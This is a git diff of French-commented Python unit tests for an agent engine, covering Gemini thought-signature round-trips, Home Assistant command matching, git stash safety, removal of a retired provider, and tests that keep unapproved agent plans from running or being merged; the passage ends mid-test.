────────────────────────────────────────────────────────────────── +# Tests : round-trip de la thought_signature (#T263) +# ────────────────────────────────────────────────────────────────── + +class TestThoughtSignatureRoundTrip: + """ + Vérifie la capture puis la ré-émission de la thought_signature. + + L'API REST Gemini renvoie le champ "thoughtSignature" (camelCase, observé + en conditions réelles le 10/08/2026) au niveau de la part functionCall. + Il doit être ré-émis à l'identique au tour suivant, sinon l'API répond + 400. Le champ interne porte la clé privée "_thought_signature" (filtrée + avant envoi chez les providers OpenAI-compatibles). + """ + + SIG_A = "signature-AAAA" + SIG_B = "signature-BBBB" + + def test_translate_captures_signature(self, provider): + """Une part avec thoughtSignature doit la porter dans le tool_call.""" + gemini_parts = [{ + "functionCall": {"name": "get_weather", "args": {"city": "Paris"}}, + "thoughtSignature": self.SIG_A, + }] + result = provider._translate_tool_calls(gemini_parts) + assert result[0]["_thought_signature"] == self.SIG_A + # Le format OpenAI standard reste intact + assert result[0]["type"] == "function" + assert result[0]["function"]["name"] == "get_weather" + + def test_translate_multiple_calls_keep_own_signature(self, provider): + """Chaque functionCall doit retrouver SA signature (pas celle du voisin).""" + gemini_parts = [ + {"functionCall": {"name": "read_file", "args": {"path": "a.py"}}, + "thoughtSignature": self.SIG_A}, + {"functionCall": {"name": "read_file", "args": {"path": "b.py"}}, + "thoughtSignature": self.SIG_B}, + ] + result = provider._translate_tool_calls(gemini_parts) + assert len(result) == 2 + assert result[0]["_thought_signature"] == self.SIG_A + assert result[1]["_thought_signature"] == self.SIG_B + + def test_translate_missing_signature_tolerated(self, provider): + """Une part sans signature (modèle ancien) ne doit rien casser.""" + gemini_parts = [ + {"functionCall": {"name": "read_file", "args": {"path": "a.py"}}}, + {"functionCall": {"name": "read_file", "args": {"path": "b.py"}}, + "thoughtSignature": self.SIG_A}, + ] + result = provider._translate_tool_calls(gemini_parts) + assert len(result) == 2 + assert "_thought_signature" not in result[0] + assert result[1]["_thought_signature"] == self.SIG_A + + def test_build_contents_reemits_signature(self, provider): + """Le tour suivant doit ré-émettre la signature au niveau de la part.""" + messages = [{ + "role": "assistant", + "content": "", + "tool_calls": [{ + "id": "call_gemini_0_123", + "type": "function", + "function": { + "name": "get_weather", + "arguments": json.dumps({"city": "Paris"}) + }, + "_thought_signature": self.SIG_A, + }], + }] + contents = provider._build_contents("", messages=messages) + part = contents[0]["parts"][0] + assert "functionCall" in part + assert part["functionCall"]["name"] == "get_weather" + # La signature est une sœur de functionCall, comme dans la réponse réelle + assert part["thoughtSignature"] == self.SIG_A + + def test_build_contents_multiple_calls_each_own_signature(self, provider): + """Deux tool_calls → deux parts, chacune avec SA signature.""" + messages = [{ + "role": "assistant", + "content": "", + "tool_calls": [ + {"id": "c1", "type": "function", + "function": {"name": "read_file", "arguments": "{\"path\": \"a.py\"}"}, + "_thought_signature": self.SIG_A}, + {"id": "c2", "type": "function", + "function": {"name": "read_file", "arguments": "{\"path\": \"b.py\"}"}, + "_thought_signature": self.SIG_B}, + ], + }] + contents = provider._build_contents("", messages=messages) + parts = contents[0]["parts"] + assert len(parts) == 2 + assert parts[0]["thoughtSignature"] == self.SIG_A + assert parts[1]["thoughtSignature"] == self.SIG_B + + def test_build_contents_missing_signature_tolerated(self, provider): + """Sans signature interne, la part est émise sans thoughtSignature.""" + messages = [{ + "role": "assistant", + "content": "", + "tool_calls": [{ + "id": "call_gemini_0_123", + "type": "function", + "function": {"name": "get_weather", "arguments": "{\"city\": \"Paris\"}"}, + }], + }] + contents = provider._build_contents("", messages=messages) + part = contents[0]["parts"][0] + assert "functionCall" in part + assert "thoughtSignature" not in part + + def test_full_round_trip_preserves_signature(self, provider): + """Traduction → exécution → ré-émission : la part du tour 2 est fidèle.""" + # Tour 1 : réponse Gemini avec signature + gemini_parts = [{ + "functionCall": {"name": "get_weather", "args": {"city": "Paris"}}, + "thoughtSignature": self.SIG_A, + }] + tool_calls = provider._translate_tool_calls(gemini_parts) + + # Le moteur exécute l'outil et reconstruit les messages du tour 2 + messages = [ + {"role": "user", "content": "Météo à Paris ?"}, + {"role": "assistant", "content": "", "tool_calls": tool_calls}, + {"role": "tool", "tool_call_id": tool_calls[0]["id"], + "name": "get_weather", "content": "{\"temperature\": 21}"}, + ] + contents = provider._build_contents("", messages=messages) + + # La part du tour 2 doit porter la même signature que le tour 1 + model_parts = [p for m in contents if m["role"] == "model" + for p in m["parts"]] + fc_parts = [p for p in model_parts if "functionCall" in p] + assert len(fc_parts) == 1 + assert fc_parts[0]["thoughtSignature"] == self.SIG_A + assert fc_parts[0]["functionCall"] == { + "name": "get_weather", + "args": {"city": "Paris"}, + } + + # ────────────────────────────────────────────────────────────────── # Tests : GeminiCacheManager # ────────────────────────────────────────────────────────────────── @@ -246,7 +389,7 @@ def test_create_cache_deduplicate(self, mock_post, cache_manager): content = "Contenu identique pour les deux appels" * 100 cache_manager.create(content, ttl_seconds=3600) - + # Le deuxième appel ne doit PAS re-créer le cache result2 = cache_manager.create(content, ttl_seconds=3600) assert result2 == "cachedContents/test123" @@ -257,7 +400,7 @@ def test_cache_expiration(self, cache_manager): """Un cache expiré retourne None pour get_active_cache_name().""" cache_manager._active_cache_name = "cachedContents/expired" cache_manager._cache_expire_time = time.time() - 10 # Expiré il y a 10s - + result = cache_manager.get_active_cache_name() assert result is None assert cache_manager._active_cache_name is None @@ -437,7 +580,7 @@ async def test_meteo_triggers_grounding(self): router.context_loader.load_all.return_value = None router.context_loader.reload_if_stale.return_value = None router.context_loader.get_context_for_categories.return_value = "" - + payload, agent = await router.analyze_request("Quelle est la météo à Paris aujourd'hui ?") assert payload.metadata.get("use_search_grounding") is True diff --git a/tests/unit/test_gen_ha_local_fallback.py b/tests/unit/test_gen_ha_local_fallback.py index 171742e..2345c1c 100644 --- a/tests/unit/test_gen_ha_local_fallback.py +++ b/tests/unit/test_gen_ha_local_fallback.py @@ -23,7 +23,7 @@ def test_only_core_services_exported(): assert service in { "light.turn_on", "light.turn_off", "climate.turn_on", "climate.turn_off", - "script.tab5_volet_action", + "script.blind_action", }, f"{name} → service hors noyau : {service}" # Les commandes wake-word (switch.*) ne doivent pas fuiter dans le secours. assert not any("WakeWord" in n or "Micro" in n for n in intents) @@ -37,20 +37,20 @@ def test_sentences_and_intents_are_consistent(): def test_volet_actions_use_script_with_action_data(): - """Le volet passe par script.tab5_volet_action avec la bonne action.""" + """Le volet passe par script.blind_action avec la bonne action.""" _, intents = build_fallback(_load_commands()) for action_kind in ("open", "close", "stop"): name = f"Tab5CoreVolet{action_kind.title()}" assert name in intents, f"intent volet manquant : {name}" act = intents[name]["action"][0] - assert act["service"] == "script.tab5_volet_action" + assert act["service"] == "script.blind_action" assert act["data"]["action"] == action_kind def test_light_intent_has_entity_target_and_speech(): _, intents = build_fallback(_load_commands()) - salon_on = intents["Tab5CoreLightSalonOn"] - assert salon_on["action"][0]["target"]["entity_id"] == "light.salon" + salon_on = intents["Tab5CoreLightLivingRoomOn"] + assert salon_on["action"][0]["target"]["entity_id"] == "light.living_room" assert salon_on["speech"]["text"] == "Lumière allumée." diff --git a/tests/unit/test_git_safety_stash.py b/tests/unit/test_git_safety_stash.py new file mode 100644 index 0000000..9ce0a30 --- /dev/null +++ b/tests/unit/test_git_safety_stash.py @@ -0,0 +1,133 @@ +""" +test_git_safety_stash.py — [#T278] Le cycle stash utilisateur de git_safety est +testé sur de VRAIS dépôts Git temporaires (`git init` + `tmp_path`), sans mocks. + +Régression couverte : quand `git stash pop` échoue à la finalisation, l'ancien +comportement ajoutait une phrase au message de succès (« Fusion effectuée avec +succès. Attention : conflit… »), masquant un stash jamais dépilé — jusqu'à 3 en +production (incident du 11/08, config de prod restée enfermée). Désormais le +retour porte l'échec de façon non ambiguë, nomme le stash resté intact pour une +récupération manuelle, et `lister_stash_agents` permet de constater +l'accumulation sans rien supprimer. +""" + +import subprocess + +import pytest + +from tools.git_safety import ( + git_finalize_agent_branch, + git_prepare_agent_branch, + lister_stash_agents, +) + + +def _git(repo, *args): + """Exécute une commande git dans le dépôt, retourne (code, stdout, stderr).""" + res = subprocess.run( + ["git", *args], + cwd=repo, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + ) + return res.returncode, res.stdout.strip(), res.stderr.strip() + + +@pytest.fixture +def depot_git(tmp_path): + """Dépôt Git réel : commit initial sur 'main' + remote canonique attendu.""" + repo = tmp_path / "depot_test" + repo.mkdir() + code, _, _ = _git(repo, "init", "-b", "main") + if code != 0: + # Git antérieur à 2.28 : initialiser puis renommer master en main + _git(repo, "init") + _git(repo, "checkout", "-b", "main") + _git(repo, "config", "user.email", "test_unitaire@local") + _git(repo, "config", "user.name", "Test Unitaire") + # Remote canonique exigé par _require_canonical_repo (lecture locale, aucun réseau) + _git(repo, "remote", "add", "origin", "https://github.com/Axellum/moteur_agents.git") + (repo / "config.json").write_text( + "ligne_1 = valeur_base\nligne_2 = valeur_base\n", encoding="utf-8" + ) + _git(repo, "add", ".") + _git(repo, "commit", "-m", "commit initial") + return repo + + +def test_cycle_nominal_restaure_la_modif_et_depile(depot_git): + """Stash → branche éphémère → finalisation : modif restaurée, aucun stash résiduel.""" + repo = str(depot_git) + config = depot_git / "config.json" + config.write_text("ligne_1 = valeur_user\nligne_2 = valeur_base\n", encoding="utf-8") + + branch = git_prepare_agent_branch("session_nominale", repo_path=repo) + assert branch.startswith("agent/run_") + assert "user_pre_agent_session_nominale" in _git(repo, "stash", "list")[1] + assert config.read_text(encoding="utf-8") == "ligne_1 = valeur_base\nligne_2 = valeur_base\n" + + # Travail de l'agent sur un AUTRE fichier : pas de conflit au pop + (depot_git / "note_agent.txt").write_text("travail de l'agent", encoding="utf-8") + + statut = git_finalize_agent_branch( + branch, success=True, session_id="session_nominale", repo_path=repo + ) + assert "restaurées" in statut + # La modification locale utilisateur est revenue dans le working tree + assert config.read_text(encoding="utf-8") == "ligne_1 = valeur_user\nligne_2 = valeur_base\n" + # Aucun stash résiduel : le cycle complet a dépilé le stash utilisateur + _, stash_list, _ = _git(repo, "stash", "list") + assert "user_pre_agent_" not in stash_list + + +def test_conflit_pop_echec_non_ambigu_et_stash_intact(depot_git): + """Pop en conflit : échec clair, stash conservé, identifiant nommé dans le message.""" + repo = str(depot_git) + config = depot_git / "config.json" + # Modification locale utilisateur sur la ligne 1 + config.write_text("ligne_1 = valeur_user\nligne_2 = valeur_base\n", encoding="utf-8") + branch = git_prepare_agent_branch("session_conflit", repo_path=repo) + + # L'agent modifie LA MÊME ligne sur sa branche éphémère → conflit garanti au pop + config.write_text("ligne_1 = valeur_agent\nligne_2 = valeur_base\n", encoding="utf-8") + + statut = git_finalize_agent_branch( + branch, success=True, session_id="session_conflit", repo_path=repo + ) + + # L'échec est non ambigu : plus de « Fusion effectuée avec succès. Attention… » + assert "Fusion effectuée avec succès" not in statut + assert "ÉCHEC" in statut + # L'identifiant exact du stash resté intact est nommé pour récupération manuelle + assert "stash@{0}" in statut + assert "git stash apply stash@{0}" in statut + # Le stash est TOUJOURS présent dans la pile (git ne le dépile qu'en cas de succès) + _, stash_list, _ = _git(repo, "stash", "list") + assert "user_pre_agent_session_conflit" in stash_list + + +def test_lister_stash_agents_filtre_agents_et_ne_supprime_rien(depot_git): + """lister_stash_agents : seulement les user_pre_agent_*, sans aucune suppression.""" + repo = str(depot_git) + for nom in ("session_1", "session_2"): + (depot_git / f"fichier_{nom}.txt").write_text("contenu", encoding="utf-8") + _git(repo, "add", ".") + _git(repo, "stash", "push", "-m", f"user_pre_agent_{nom}") + # Un stash utilisateur ordinaire créé à côté doit être ignoré + (depot_git / "fichier_manuel.txt").write_text("contenu", encoding="utf-8") + _git(repo, "add", ".") + _git(repo, "stash", "push", "-m", "wip manuel de l'utilisateur") + + stashes = lister_stash_agents(repo) + assert len(stashes) == 2 + messages = [s["message"] for s in stashes] + assert any("user_pre_agent_session_1" in m for m in messages) + assert any("user_pre_agent_session_2" in m for m in messages) + assert not any("wip manuel" in m for m in messages) + for s in stashes: + assert s["id"].startswith("stash@{") + assert s["age"] + # Aucune suppression : les 3 stash sont toujours présents dans la pile + assert len(_git(repo, "stash", "list")[1].splitlines()) == 3 diff --git a/tests/unit/test_github_models_retire.py b/tests/unit/test_github_models_retire.py new file mode 100644 index 0000000..fab2986 --- /dev/null +++ b/tests/unit/test_github_models_retire.py @@ -0,0 +1,51 @@ +""" +test_github_models_retire.py — Retrait du provider GitHub Models (#T280). + +GitHub Models a été entièrement retiré le 30/07/2026 (docs.github.com/github-models) : +l'endpoint models.inference.ai.azure.com répond 404 et le successeur models.github.ai +répond 410 « github_models_retirement_brownout » (vérifié par appels réels le +11/08/2026, voir la PR #T280). Le provider ne doit donc plus exister dans le +registre : la cascade ne doit plus pouvoir le sélectionner — un provider mort +ouvrirait un Circuit Breaker et ferait perdre un tour à la cascade à chaque appel. + +Aucun réseau : vérifications sur le registre en mémoire et sur les sources +versionnées uniquement (le garde-fou socket de conftest.py reste actif). +""" + +import os +import sys + +# Ajout du répertoire parent au PYTHONPATH +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +import pytest + +from core.openai_compat_provider import OPENAI_COMPAT_PROVIDERS, create_provider + +_END_POINT_RETIRE = "models.inference.ai.azure.com" +_RACINE = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + + +class TestGithubModelsRetire: + """Le provider github (service retiré le 30/07/2026) n'existe plus.""" + + def test_provider_github_absent_du_registre(self): + """Le registre des providers ne contient plus la clé 'github'.""" + assert "github" not in OPENAI_COMPAT_PROVIDERS + + def test_create_provider_github_leve_value_error(self): + """create_provider('github') échoue : aucun provider à instancier.""" + with pytest.raises(ValueError): + create_provider("github") + + def test_endpoint_retire_absent_des_sources(self): + """L'URL morte ne doit plus apparaître dans les sources du provider.""" + for chemin in ( + os.path.join(_RACINE, "core", "openai_compat_provider.py"), + os.path.join(_RACINE, "core", "llm_gateway.py"), + ): + with open(chemin, encoding="utf-8") as f: + contenu = f.read() + assert _END_POINT_RETIRE not in contenu, ( + f"URL de l'endpoint retiré encore présente dans {chemin}" + ) diff --git a/tests/unit/test_ha_climate_advanced.py b/tests/unit/test_ha_climate_advanced.py index bb66b56..e547292 100644 --- a/tests/unit/test_ha_climate_advanced.py +++ b/tests/unit/test_ha_climate_advanced.py @@ -35,6 +35,15 @@ def test_climate_command_accepts_word_number(): assert m.service_data["temperature"] == 22 +def test_climate_command_accepts_stt_variant_cline(): + """Le STT FR écrit souvent « cline » pour « clim » — doit rester une commande clim.""" + m = match_ha_climate_command("mets la cline du salon a 22") + assert m is not None + assert m.service == "climate.set_temperature" + assert m.entity_id == "climate.living_room" + assert m.service_data["temperature"] == 22 + + # ── Item 2 : split set_hvac_mode PUIS set_temperature ── class _FakeResp: @@ -72,7 +81,7 @@ async def test_set_temperature_with_mode_splits_in_two_calls(monkeypatch): ok, text = await es.execute_ha_service( "climate.set_temperature", - "climate.salon_daikinap71273_clim", + "climate.living_room", service_data={"temperature": 22, "hvac_mode": "cool"}, ) assert ok @@ -94,7 +103,7 @@ async def test_set_temperature_without_mode_single_call(monkeypatch): ok, _ = await es.execute_ha_service( "climate.set_temperature", - "climate.salon_daikinap71273_clim", + "climate.living_room", service_data={"temperature": 20}, ) assert ok diff --git a/tests/unit/test_ha_command_match.py b/tests/unit/test_ha_command_match.py index 168992b..9faed2e 100644 --- a/tests/unit/test_ha_command_match.py +++ b/tests/unit/test_ha_command_match.py @@ -16,14 +16,14 @@ def test_normalize_stt_verbs(): def test_match_ha_command_exact(): m = match_ha_command("allume le salon") assert m is not None - assert m.entity_id == "light.salon" + assert m.entity_id == "light.living_room" assert m.service == "light.turn_on" def test_match_ha_command_stt_variant(): m = match_ha_command("allumé le salon") assert m is not None - assert m.entity_id == "light.salon" + assert m.entity_id == "light.living_room" def test_prompt_has_domotic_action(): @@ -32,21 +32,21 @@ def test_prompt_has_domotic_action(): def test_build_natural_ha_response_cached(): - text = build_natural_ha_response("light.salon", "light.turn_on", "Salon") + text = build_natural_ha_response("light.living_room", "light.turn_on", "Salon") assert text == "Lumière du salon allumée." def test_build_natural_volet_stop(): text = build_natural_ha_response( "", - "script.tab5_volet_action", + "script.blind_action", service_data={"action": "stop"}, ) assert text == "Volet arrêté." def test_build_natural_ha_response_no_entity_slug(): - text = build_natural_ha_response("light.h6008_2", "light.turn_on", "Lumiere chambre") + text = build_natural_ha_response("light.bedroom", "light.turn_on", "Lumiere chambre") assert "h6008" not in text.lower() assert "lumière" in text.lower() @@ -70,7 +70,7 @@ def test_climate_temperature_and_mode(): m = match_ha_command("mets la clim a 21 en mode froid") assert m is not None assert m.service == "climate.set_temperature" - assert m.entity_id == "climate.salon_daikinap71273_clim" + assert m.entity_id == "climate.living_room" assert m.service_data == {"temperature": 21, "hvac_mode": "cool"} @@ -97,7 +97,7 @@ def test_climate_without_temp_or_mode_falls_back_to_on_off(): def test_build_natural_climate_temperature_response(): text = build_natural_ha_response( - "climate.salon_daikinap71273_clim", + "climate.living_room", "climate.set_temperature", service_data={"temperature": 21, "hvac_mode": "cool"}, ) diff --git a/tests/unit/test_ha_state_query.py b/tests/unit/test_ha_state_query.py index d8e940f..23b3c12 100644 --- a/tests/unit/test_ha_state_query.py +++ b/tests/unit/test_ha_state_query.py @@ -22,13 +22,13 @@ def test_command_imperative_is_not_state_query(): def test_light_state_question_detected(): q = match_ha_state_query("la lumiere du salon est allumee ?") assert q is not None and q.kind == "light" - assert q.entity_id == "light.salon" + assert q.entity_id == "light.living_room" def test_climate_state_question_detected(): q = match_ha_state_query("est-ce que la clim est allumee") assert q is not None and q.kind == "climate" - assert q.entity_id == "climate.salon_daikinap71273_clim" + assert q.entity_id == "climate.living_room" def test_volet_state_question_detected(): diff --git a/tests/unit/test_ha_token.py b/tests/unit/test_ha_token.py new file mode 100644 index 0000000..01a5e6d --- /dev/null +++ b/tests/unit/test_ha_token.py @@ -0,0 +1,29 @@ +"""Tests unitaires de core.ha_token (accesseur unique du token HA, T239).""" + +from unittest.mock import patch + +from core.ha_token import get_ha_token + + +def test_hass_token_seul(): + """HASS_TOKEN seul → retourné tel quel.""" + with patch.dict("os.environ", {"HASS_TOKEN": "tok-hass", "HA_TOKEN": ""}, clear=False): + assert get_ha_token() == "tok-hass" + + +def test_ha_token_seul(): + """HA_TOKEN seul → repli correct sur l'ancienne convention.""" + with patch.dict("os.environ", {"HASS_TOKEN": "", "HA_TOKEN": "tok-ha"}, clear=False): + assert get_ha_token() == "tok-ha" + + +def test_hass_token_prioritaire_sur_ha_token(): + """Les deux définis → HASS_TOKEN gagne (priorité documentée).""" + with patch.dict("os.environ", {"HASS_TOKEN": "tok-hass", "HA_TOKEN": "tok-ha"}, clear=False): + assert get_ha_token() == "tok-hass" + + +def test_aucun_token_retourne_chaine_vide(): + """Aucune des deux variables → chaîne vide, jamais d'exception.""" + with patch.dict("os.environ", {"HASS_TOKEN": "", "HA_TOKEN": ""}, clear=False): + assert get_ha_token() == "" diff --git a/tests/unit/test_hitl_non_bloquant.py b/tests/unit/test_hitl_non_bloquant.py new file mode 100644 index 0000000..7f71657 --- /dev/null +++ b/tests/unit/test_hitl_non_bloquant.py @@ -0,0 +1,340 @@ +""" +tests/unit/test_hitl_non_bloquant.py — HITL non bloquant (#T267). + +Ce que ces tests verrouillent, et pourquoi : +- une demande d'approbation SURVIT à la session qui l'a créée (elle ne vivait + qu'en mémoire avant, et était dépilée aussitôt) ; +- le point d'approbation rend un TROISIÈME état (« en attente ») au lieu de + bloquer 300 s dans une session bornée à 120 s ; +- ⚠️ une session suspendue NE FINALISE PAS sa branche Git — c'est le point + dangereux du chantier : `_finalize_git` est appelée dans un `finally` et ne + connaît que merge/rollback, donc sans garde elle détruirait ou fusionnerait + du travail non approuvé ; +- le DAG rejoué à la reprise est exactement celui qui a été approuvé. +""" + +import pytest + +from core import hitl_store, runtime_db +from core.hitl import DECISION_APPROUVE, DECISION_EN_ATTENTE, HITLManager +from core.state import TaskPayload + + +@pytest.fixture(autouse=True) +def _base_isolee(tmp_path): + """ + Chaque test écrit dans sa propre base runtime. + + Le chemin d'origine est RESTAURÉ à la sortie : sans cela, les tests suivants + de la suite continueraient d'écrire dans un `tmp_path` détruit — une fuite + d'état entre fichiers de test, exactement le genre de dépendance à l'ordre + d'exécution qui a produit les faux négatifs de #T261/#T268. + """ + ancien = runtime_db.get_db_path() + runtime_db.override_db_path(str(tmp_path / "runtime_test.db")) + runtime_db.get_connection().close() # déclenche _init_schema + yield + runtime_db.override_db_path(ancien) + + +def _dag_exemple() -> list[dict]: + return [ + {"task_objective": "Écrire le fichier A", "task_id": "t1", "depends_on": [], + "available_tools": ["write_file"], "relevant_context": "", "metadata": {}, + "status": "pending", "assigned_agent": None, "result_summary": None}, + {"task_objective": "Vérifier A", "task_id": "t2", "depends_on": ["t1"], + "available_tools": ["read_file"], "relevant_context": "", "metadata": {}, + "status": "pending", "assigned_agent": None, "result_summary": None}, + ] + + +# ── Store durable ──────────────────────────────────────────────────────────── + +def test_contrat_acceptation_persiste(): + """[#T253] Le contrat doit survivre à la session, comme le DAG.""" + hitl_store.enregistrer_demande( + request_id="r_contrat", session_id="s1", dag_tasks=_dag_exemple(), + description="", criteres=["le fichier X doit exister", "il doit contenir OK"], + ) + d = hitl_store.lire_demande("r_contrat") + assert d["criteres"] == ["le fichier X doit exister", "il doit contenir OK"] + + +def test_demande_sans_contrat_reste_lisible(): + hitl_store.enregistrer_demande( + request_id="r_sans", session_id="s1", dag_tasks=_dag_exemple(), description="", + ) + assert hitl_store.lire_demande("r_sans")["criteres"] == [] + + +def test_demande_survit_a_la_session(): + """Une demande enregistrée est relisible, DAG compris.""" + hitl_store.enregistrer_demande( + request_id="dag_s1_2", session_id="s1", dag_tasks=_dag_exemple(), + objective="objectif", description="2 tâches à risque", + risk_level="high", git_branch="agent/s1", + ) + d = hitl_store.lire_demande("dag_s1_2") + assert d is not None + assert d["status"] == hitl_store.STATUT_EN_ATTENTE + assert d["git_branch"] == "agent/s1" + assert len(d["dag_tasks"]) == 2 + assert d["dag_tasks"][1]["depends_on"] == ["t1"] + + +def test_double_approbation_refusee(): + """La transition n'est acceptée que depuis `pending` : pas de double exécution.""" + hitl_store.enregistrer_demande( + request_id="r1", session_id="s1", dag_tasks=_dag_exemple(), description="x", + ) + assert hitl_store.marquer_decision("r1", approuve=True) is True + # Second clic sur « Approuver » : refusé, sinon le plan à risque partirait 2 fois. + assert hitl_store.marquer_decision("r1", approuve=True) is False + assert hitl_store.lire_demande("r1")["status"] == hitl_store.STATUT_APPROUVE + + +def test_liste_en_attente_ignore_les_demandes_decidees(): + hitl_store.enregistrer_demande(request_id="a", session_id="s", dag_tasks=[{"task_objective": "x"}], description="") + hitl_store.enregistrer_demande(request_id="b", session_id="s", dag_tasks=[{"task_objective": "y"}], description="") + hitl_store.marquer_decision("a", approuve=False) + en_attente = [d["request_id"] for d in hitl_store.lister_en_attente()] + assert en_attente == ["b"] + + +def test_decision_sur_demande_inconnue(): + assert hitl_store.marquer_decision("jamais_vue", approuve=True) is False + + +# ── Point d'approbation de l'Engine ────────────────────────────────────────── + +def _engine_minimal(session_id="chat_t267"): + """Engine réel mais sans agents : seul le point d'approbation est exercé.""" + from core.engine import Engine + return Engine(session_id=session_id) + + +@pytest.mark.asyncio +async def test_plan_a_risque_met_la_session_en_attente(): + """Le plan à risque n'est ni approuvé ni rejeté : il est MIS EN ATTENTE.""" + eng = _engine_minimal() + taches = [TaskPayload(task_objective="Modifier la config", available_tools=["write_file"])] + + decision = await eng._check_hitl_before_dag(taches, "objectif de test") + + assert decision == DECISION_EN_ATTENTE + assert eng.est_suspendue() is True + # La demande est persistée AVEC le DAG à rejouer. + d = hitl_store.lire_demande(eng._suspension_request_id) + assert d is not None + assert len(d["dag_tasks"]) == 1 + assert d["dag_tasks"][0]["available_tools"] == ["write_file"] + + +@pytest.mark.asyncio +async def test_plan_sans_risque_passe_sans_demande(): + """Un plan en lecture seule ne crée aucune demande (bypass low risk).""" + eng = _engine_minimal() + taches = [TaskPayload(task_objective="Lire un fichier", available_tools=["read_file"])] + + decision = await eng._check_hitl_before_dag(taches, "lecture") + + assert decision == DECISION_APPROUVE + assert eng.est_suspendue() is False + assert hitl_store.lister_en_attente() == [] + + +@pytest.mark.asyncio +async def test_mode_bloquant_reste_accessible(monkeypatch): + """`MOTEUR_HITL_NON_BLOQUANT=0` restaure l'attente d'avant #T267.""" + monkeypatch.setenv("MOTEUR_HITL_NON_BLOQUANT", "0") + eng = _engine_minimal() + + async def _approuve_tout(**kwargs): + from core.hitl import ApprovalRequest + return ApprovalRequest(request_id=kwargs["request_id"], description="", approved=True) + + monkeypatch.setattr(eng.hitl, "request_approval", _approuve_tout) + taches = [TaskPayload(task_objective="Modifier", available_tools=["write_file"])] + + decision = await eng._check_hitl_before_dag(taches, "obj") + + assert decision == DECISION_APPROUVE + assert eng.est_suspendue() is False + assert hitl_store.lister_en_attente() == [] + + +@pytest.mark.asyncio +async def test_attente_n_est_pas_une_erreur(): + """`_handle_dag_execution` remonte (None, has_error=False) quand on attend.""" + eng = _engine_minimal() + taches = [TaskPayload(task_objective="Supprimer le dossier", available_tools=["run_terminal_command"])] + payload = TaskPayload(task_objective="objectif") + + tasks_status, has_error = await eng._handle_dag_execution(taches, payload, 10_000, None) + + assert tasks_status is None + assert has_error is False # suspendue ≠ échouée + assert eng.est_suspendue() is True + + +# ── ⚠️ Le point dangereux : la branche Git d'une session suspendue ─────────── + +@pytest.mark.asyncio +async def test_session_suspendue_ne_finalise_pas_git(monkeypatch): + """ + Une session suspendue laisse sa branche éphémère EN PLACE. + + Sans la garde posée dans le `finally` de `run()`, la branche portant le + travail à approuver serait fusionnée (sans approbation) ou détruite. + """ + eng = _engine_minimal() + appels: list = [] + monkeypatch.setattr(eng, "_prepare_git_branch", lambda: "agent/session_t267") + monkeypatch.setattr(eng, "_run_doc_hook", lambda *a, **k: None) + monkeypatch.setattr(eng, "_init_langfuse", lambda: None) + monkeypatch.setattr(eng, "_finalize_git", lambda *a, **k: appels.append(a)) + + async def _sequence_suspendue(*a, **k): + # Simule une boucle d'agents qui a mis le plan en attente. + eng._suspension_request_id = "dag_test_1" + return False, {} + + monkeypatch.setattr(eng, "_run_sequential_agents", _sequence_suspendue) + + await eng.run(TaskPayload(task_objective="objectif"), "planner") + + assert appels == [], "La branche d'une session suspendue ne doit pas être finalisée" + + +@pytest.mark.asyncio +async def test_session_normale_finalise_git(monkeypatch): + """Contre-épreuve : sans suspension, la finalisation Git a bien lieu.""" + eng = _engine_minimal() + appels: list = [] + monkeypatch.setattr(eng, "_prepare_git_branch", lambda: "agent/session_ok") + monkeypatch.setattr(eng, "_run_doc_hook", lambda *a, **k: None) + monkeypatch.setattr(eng, "_init_langfuse", lambda: None) + monkeypatch.setattr(eng, "_finalize_git", lambda *a, **k: appels.append(a)) + # Une session NON suspendue passe par la mémoire épisodique et la + # consolidation (RAG/embeddings) : hors périmètre ici, et bien trop lourd + # pour un test unitaire — c'est ce qui distingue ce chemin du précédent. + monkeypatch.setattr(eng, "_save_episode", lambda *a, **k: None) + + async def _pas_de_consolidation(*a, **k): + return None + + monkeypatch.setattr(eng, "_consolidate_memory", _pas_de_consolidation) + + async def _sequence_normale(*a, **k): + return False, {"t1": "success"} + + monkeypatch.setattr(eng, "_run_sequential_agents", _sequence_normale) + + await eng.run(TaskPayload(task_objective="objectif"), "planner") + + assert len(appels) == 1 + assert appels[0][0] == "agent/session_ok" + + +@pytest.mark.asyncio +async def test_session_suspendue_garde_la_phase_waiting_approval(monkeypatch): + """La phase finale reste `waiting_approval` (ni completed, ni failed).""" + from core.state import ExecutionPhase + + eng = _engine_minimal() + monkeypatch.setattr(eng, "_prepare_git_branch", lambda: None) + monkeypatch.setattr(eng, "_run_doc_hook", lambda *a, **k: None) + monkeypatch.setattr(eng, "_init_langfuse", lambda: None) + + async def _sequence_suspendue(*a, **k): + eng._suspension_request_id = "dag_test_2" + eng.state.current_phase = ExecutionPhase.WAITING_APPROVAL + return False, {} + + monkeypatch.setattr(eng, "_run_sequential_agents", _sequence_suspendue) + + etat = await eng.run(TaskPayload(task_objective="objectif"), "planner") + + assert etat.current_phase == ExecutionPhase.WAITING_APPROVAL + + +# ── Reprise ────────────────────────────────────────────────────────────────── + +@pytest.mark.asyncio +async def test_reprise_refuse_une_demande_non_approuvee(): + from services.approval_resume_service import reprendre_apres_approbation + + hitl_store.enregistrer_demande( + request_id="r_pending", session_id="s", dag_tasks=_dag_exemple(), description="", + ) + res = await reprendre_apres_approbation("r_pending") + assert res["status"] == "non_approuve" + + +@pytest.mark.asyncio +async def test_reprise_refuse_une_demande_inconnue(): + from services.approval_resume_service import reprendre_apres_approbation + + res = await reprendre_apres_approbation("inexistante") + assert res["status"] == "introuvable" + + +@pytest.mark.asyncio +async def test_reprise_sans_dag_ne_pretend_pas_avoir_reussi(): + """Un DAG vide/illisible ne doit surtout pas ressortir en succès.""" + from services.approval_resume_service import reprendre_apres_approbation + + hitl_store.enregistrer_demande( + request_id="r_vide", session_id="s", dag_tasks=[], description="", + ) + hitl_store.marquer_decision("r_vide", approuve=True) + + res = await reprendre_apres_approbation("r_vide") + + assert res["status"] == "vide" + assert hitl_store.lire_demande("r_vide")["status"] == hitl_store.STATUT_ECHEC + + +def test_dag_stocke_est_rejouable_a_l_identique(): + """ + Le DAG relu reconstruit des TaskPayload identiques à ceux approuvés. + + C'est l'exigence de sécurité de la reprise : ce qui est approuvé est ce qui + s'exécute — jamais un plan re-généré. + """ + from core.engine import Engine + + origine = [ + TaskPayload(task_objective="Écrire A", task_id="t1", available_tools=["write_file"]), + TaskPayload(task_objective="Vérifier A", 